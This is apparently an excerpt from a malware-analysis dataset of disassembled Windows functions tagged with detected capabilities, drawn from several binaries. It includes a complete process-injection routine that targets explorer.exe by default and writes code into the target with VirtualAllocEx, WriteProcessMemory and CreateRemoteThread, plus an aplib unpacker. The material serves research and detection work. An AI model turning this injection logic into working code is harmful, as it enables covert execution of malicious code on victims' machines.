joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001080
Capabilities:
Accept command line arguments

Disassembly:
push rbx
sub rsp, 0x350
mov rax, qword [0x140017070]
xor rax, rsp
mov qword [rsp + 0x340], rax
lea rcx, [rsp + 0x50]
call fcn.140010620
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov rdx, rax
call fcn.140010510
lea r8, str._target
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x50]
call fcn.1400103c0
lea rcx, [rsp + 0xb0]
mov rdx, rax
call fcn.140001b50
cmp qword [rsp + 0x40], 0x10
jb 0x1400010f0
mov rcx, qword [rsp + 0x28]
call fcn.140005ac0
lea r8, str._image
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x50]
call fcn.1400103c0
lea rcx, [rsp + 0xd8]
mov rdx, rax
call fcn.140001b50
cmp qword [rsp + 0x40], 0x10
jb 0x140001128
mov rcx, qword [rsp + 0x28]
call fcn.140005ac0
lea r8, str._args
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x50]
call fcn.1400103c0
lea rcx, [rsp + 0x100]
mov rdx, rax
call fcn.140001b50
cmp qword [rsp + 0x40], 0x10
jb 0x140001160
mov rcx, qword [rsp + 0x28]
call fcn.140005ac0
cmp qword [rsp + 0xc8], 0
jne 0x140001185
lea rdx, str.explorer.exe
lea rcx, [rsp + 0xb0]
mov r8d, 0xc
call fcn.1400013e0
cmp qword [rsp + 0xd0], 8
lea rax, vtable.InjectProcessExecutor.0
lea rdx, [rsp + 0xb8]
cmovae rdx, qword [rsp + 0xb8]
lea rcx, [rsp + 0x138]
mov qword [rsp + 0x130], rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
cmp qword [rsp + 0x120], 8
lea r8, [rsp + 0x108]
cmovae r8, qword [rsp + 0x108]
cmp qword [rsp + 0xf8], 8
lea rdx, [rsp + 0xe0]
cmovae rdx, qword [rsp + 0xe0]
lea rcx, [rsp + 0x130]
call fcn.140002240
cmp qword [rsp + 0x120], 8
lea r11, vtable.ProcessExecutor.0
mov qword [rsp + 0x130], r11
jb 0x140001224
mov rcx, qword [rsp + 0x108]
call fcn.140005ac0
xor ebx, ebx
cmp qword [rsp + 0xf8], 8
mov qword [rsp + 0x120], 7
mov qword [rsp + 0x118], rbx
mov word [rsp + 0x108], bx
jb 0x14000125a
mov rcx, qword [rsp + 0xe0]
call fcn.140005ac0
cmp qword [rsp + 0xd0], 8
mov qword [rsp + 0xf8], 7
mov qword [rsp + 0xf0], rbx
mov word [rsp + 0xe0], bx
jb 0x14000128e
mov rcx, qword [rsp + 0xb8]
call fcn.140005ac0
lea rcx, [rsp + 0x50]
mov qword [rsp + 0xd0], 7
mov qword [rsp + 0xc8], rbx
mov word [rsp + 0xb8], bx
call fcn.1400101b0
xor eax, eax
mov rcx, qword [rsp + 0x340]
xor rcx, rsp
call fcn.140005910
add rsp, 0x350
pop rbx
ret
Function at 0x140002240
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Resume thread
Spawn thread to rwx shellcode

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x280
mov rax, qword [0x140017070]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov rbx, rdx
lea rdx, [rcx + 8]
mov rbp, r8
call fcn.140002480
test eax, eax
je 0x140002474
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140002474
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x218
mov rcx, rax
mov qword [rsp + 0x2b8], rsi
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x1400023fa
lea rdx, str.__s___s
lea rcx, [rsp + 0x60]
mov r9, rbp
mov r8, rbx
call fcn.140006664
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.CreateProcessW
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x140014170]
mov rcx, rbx
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [rsp + 0x50]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x40]
mov r9d, 0x218
mov rdx, rsi
mov rcx, rdi
mov qword [rsp + 0x40], 0x218
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400023fa
xor edx, edx
mov r9d, 0x1000
mov r8d, 0x5000
mov rcx, rdi
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x1400023fa
lea r8, [0x140002600]
mov r9d, 0x5000
mov rdx, rax
mov rcx, rdi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400023fa
lea rax, [rsp + 0x48]
mov r9, rbx
xor r8d, r8d
mov qword [rsp + 0x30], rax
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbp, rax
test rax, rax
jne 0x14000241f
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
mov rsi, qword [rsp + 0x2b8]
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140005910
add rsp, 0x280
pop rdi
pop rbp
pop rbx
ret
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
or edx, 0xffffffff
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
jmp 0x1400023fc
xor al, al
jmp 0x140002404
Function at 0x140002480
Capabilities:
Enumerate processes

Disassembly:
push rbx
sub rsp, 0x690
mov rax, qword [0x140017070]
xor rax, rsp
mov qword [rsp + 0x680], rax
mov rbx, rdx
test rdx, rdx
jne 0x1400024aa
xor eax, eax
jmp 0x1400025d4
mov qword [rsp + 0x6a0], rsi
lea rcx, [rsp + 0x472]
xor esi, esi
xor edx, edx
mov r8d, 0x206
mov qword [rsp + 0x6b0], rdi
mov word [rsp + 0x470], si
call fcn.140006d00
lea rcx, [rsp + 0x262]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x260], si
call fcn.140006d00
lea rcx, [rsp + 0x470]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [rsp + 0x470]
call fcn.140006a38
lea rcx, [rsp + 0x24]
xor edx, edx
mov r8d, 0x234
mov dword [rsp + 0x20], esi
mov rdi, rax
call fcn.140006d00
lea ecx, [rsi + 2]
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400025c2
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1400025b9
nop dword [rax]
mov rcx, rsi
movzx eax, word [rsp + rcx + 0x4c]
add rcx, 2
mov word [rsp + rcx + 0x25e], ax
test ax, ax
jne 0x140002563
lea rcx, [rsp + 0x260]
call fcn.140006a38
mov r8, rdi
sub r8, rax
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400025a4
add rax, 2
test ecx, ecx
jne 0x140002590
test edx, edx
je 0x1400025ed
lea rdx, [rsp + 0x20]
mov rcx, rbx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140002560
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rsi, qword [rsp + 0x6a0]
mov rdi, qword [rsp + 0x6b0]
mov rcx, qword [rsp + 0x680]
xor rcx, rsp
call fcn.140005910
add rsp, 0x690
pop rbx
ret
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
jmp 0x1400025c4
Function at 0x140006f6f
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140017070]
jne 0x14000592a
rol rcx, 0x10
test cx, 0xffff
jne 0x140005926
repz ret
ror rcx, 0x10
jmp 0x140006ec8
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400186a0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140018798]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140006f4d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400186a0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140006f6f
mov rax, qword [rsp + 0x88]
mov qword [0x140018798], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140018738], rax
mov rax, qword [0x140018798]
mov qword [0x140018610], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140018720], rax
mov dword [0x140018600], 0xc0000409
mov dword [0x140018604], 1
mov rax, qword [0x140017070]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140017078]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140018698], eax
mov ecx, 1
call fcn.14000c118
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140012528]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140018698], 0
jne 0x140006ff6
mov ecx, 1
call fcn.14000c118
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140007c14
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call int.14000c330
nop
cmp dword [0x140018bd8], 1
je 0x140007bc0
mov dword [0x140018bd4], 1
mov byte [0x140018bd0], r12b
test ebx, ebx
jne 0x140007bac
mov rcx, qword [0x14001a7b0]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140007b99
mov rcx, qword [0x14001a7a8]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x140007b38
call fcn.140008ab0
cmp qword [rdi], rax
jne 0x140007b38
jmp 0x140007b1e
cmp rdi, rsi
jb 0x140007b99
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.140008ab0
mov qword [rdi], rax
call rbx
mov rcx, qword [0x14001a7b0]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x14001a7a8]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x140007b77
cmp r13, rax
je 0x140007b97
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x140007b1e
lea rdx, [0x1400122f8]
lea rcx, [0x1400122e0]
call fcn.140007968
lea rdx, [0x140012308]
lea rcx, [0x140012300]
call fcn.140007968
nop
test r12d, r12d
je 0x140007bcf
mov ecx, 8
call fcn.14000c230
test r12d, r12d
jne 0x140007bfa
mov dword [0x140018bd8], 1
lea ecx, [r12 + 8]
call fcn.14000c230
mov ecx, r15d
call fcn.1400078fc
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x140007a88

Function at 0x140007c20
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x140007a88
Function at 0x14000c99c
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.140008ab0
xor ebx, ebx
mov rdi, rax
cmp qword [0x140019458], rbx
jne 0x14000caa2
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x14000cb77
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000cb77
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140019458], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140019460], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x140019468], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x140019478], rax
test rax, rax
je 0x14000ca99
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x140019470], rax
jmp 0x14000caa9
mov rax, qword [0x140019470]
jmp 0x14000cab0
mov rax, qword [0x140019470]
mov r11, qword [0x140019478]
cmp rax, rdi
je 0x14000cb18
cmp r11, rdi
je 0x14000cb18
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x140019478]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x14000cb18
test rax, rax
je 0x14000cb18
call rsi
test rax, rax
je 0x14000cb12
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000cb12
test byte [rsp + 0x38], 1
jne 0x14000cb18
bts ebp, 0x15
jmp 0x14000cb56
mov rcx, qword [0x140019460]
cmp rcx, rdi
je 0x14000cb56
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14000cb56
call rax
mov rbx, rax
test rax, rax
je 0x14000cb56
mov rcx, qword [0x140019468]
cmp rcx, rdi
je 0x14000cb56
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14000cb56
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140019458]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14000cb77
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x14000cb79
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x1400011c0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov qword [rsp + 0x30], rcx
xor ebp, ebp
mov dword [rsp + 0x20], ebp
lea r14d, [rbp + 4]
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov r15d, 0x20
mov eax, dword [r15 + rsi]
mov r12d, 0x30
test al, 1
jne 0x140001259
or eax, 1
mov dword [r15 + rsi], eax
mov ebx, r12d
add rbx, rsi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbx + 0x1384], 0xffffffff
mov dword [rbx + 4], eax
lea ecx, [rbp + 1]
lea r8, [rbx + 8]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [r8], edx
inc rcx
lea r8, [r8 + 4]
cmp rcx, 0x270
jb 0x140001231
mov dword [rbx], 0x270
mov eax, dword [r15 + rsi]
mov ecx, 0x10
test al, 2
jne 0x14000127a
or eax, 2
mov dword [r15 + rsi], eax
mov qword [rsi + rcx], rbp
mov qword [rsi + rcx + 8], 0xf
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rbp
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov dword [rsp + 0x20], 1
lea r15, [rsi + rcx]
mov ebx, r12d
add rbx, rsi
lea r12, str.0123456789ABCDEF
nop dword [rax + rax]
dec r14
mov qword [rsp + 0x28], rbx
mov rbp, qword [r15]
mov rdx, qword [r15 + 8]
sub rdx, rbp
cmp rdx, 0xffffffffffffffff
jne 0x1400012e5
mov rcx, rbx
call fcn.14000ebf0
mov esi, eax
shl rsi, 0x20
mov rcx, rbx
call fcn.14000ebf0
mov eax, eax
or rsi, rax
jmp 0x1400012f5
inc rdx
lea rcx, [rsp + 0x28]
call fcn.14000ea40
mov rsi, rax
lea rax, [rsi + rbp]
movzx r9d, byte [rax + r12]
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
cmp rcx, rdx
jae 0x14000132a
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0x10
jb 0x14000131f
mov rax, qword [rdi]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140001332
mov rcx, rdi
call fcn.14000e370
test r14, r14
jne 0x1400012b0
mov rax, rdi
mov rbx, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x14000ebf0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x14000ec51
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x14000ec10
mov ecx, dword [r9]
jmp 0x14000ed38
cmp ecx, 0x4e0
jb 0x14000ed38
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x14000ec70
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop dword [rax + rax]
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x14000ecc0
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x14000f8d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000f91a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000f91a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000f91a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000f91a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000f91a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000f91c
xor al, al
add rsp, 0x28
ret
Function at 0x140cc2058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140cc21df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140cc2089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140cc206f
add dl, dl
jne 0x140cc2096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140cc20f6
xor eax, eax
add dl, dl
jne 0x140cc20a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140cc21ad
add dl, dl
jne 0x140cc20b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140cc20c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140cc20d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140cc20dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140cc20ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140cc207e
mov eax, 1
add dl, dl
jne 0x140cc2106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140cc2113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140cc20fb
sub eax, ebx
mov ebx, 1
jne 0x140cc214c
mov ecx, 1
add dl, dl
jne 0x140cc212e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140cc213b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140cc2123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140cc207e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140cc2168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140cc2175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140cc215d
cmp eax, 0x7d00
jae 0x140cc219b
cmp eax, 0x500
jb 0x140cc2196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140cc207e
cmp eax, 0x7f
ja 0x140cc219e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140cc207e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140cc21d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140cc207e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140002fe0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140003f10
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140003f10
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140003050
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400090a4]
mov rbx, rcx
test esi, esi
jle 0x140003180
mov rax, qword [0x1400090a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000309b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140003125
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140003080
mov rcx, rbx
call fcn.140003aa0
mov rdi, rax
test rax, rax
je 0x1400031a2
mov rax, qword [0x1400090a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140003be0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400090a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140003187
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000311e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140003130
add dword [0x1400090a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400090a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000311e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002fe0
nop dword [rax]
xor esi, esi
jmp 0x1400030a8
mov rax, qword [0x1400090a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140002fe0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140002fe0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140003710
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140009100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400090e0]
test rbx, rbx
je 0x14000376c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140003763
test rsi, rsi
je 0x140003763
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003748
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]